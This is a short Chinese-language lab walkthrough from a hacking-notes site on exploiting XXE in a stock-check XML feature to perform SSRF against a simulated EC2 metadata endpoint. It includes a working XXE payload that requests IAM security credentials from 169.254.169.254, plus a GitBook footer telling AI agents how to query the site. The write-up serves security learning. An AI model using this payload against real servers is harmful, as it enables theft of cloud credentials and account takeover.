> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-to-perform-ssrf-attacks.md).

# 利用 XXE 执行 SSRF 攻击

### 利用 XXE 发起 SSRF 攻击

利用……中的 XXE 漏洞 **“检查库存”** 接受 XML 的功能，导致向 EC2 元数据终端点发出 SSRF 请求（`HTTP://169.254.169.254/`）并从服务器中提取秘密 IAM 密钥。

实验室服务器模拟了一个 EC2 元数据终端点，可通过默认 `HTTP://169.254.169.254/` 地址访问。通过向发送到易受攻击解析器的 XML 中注入外部实体，服务器可以被迫读取内部 URL，并在响应中返回其内容。

#### 开始 XML

{% code overflow="wrap" %}

```xml
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
 <productId>
  4
 </productId>
 <storeId>
  1
 </storeId>
</stockCheck>
```

{% endcode %}

#### 用于执行 SSRF 的 XXE 载荷

通过引用指向 IAM 元数据终端点的外部实体，然后将该实体包含在反射字段中（`productId`):

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY myFile SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">]>
<stockCheck>
  <productId>
  &myFile;
  </productId>
<storeId>
  1
  </storeId>
</stockCheck>
```

<figure><img src="/files/4c7ed4e631d1448310e269ff5c224f9faf715d28" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/xxe/xxe-to-perform-ssrf-attacks.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
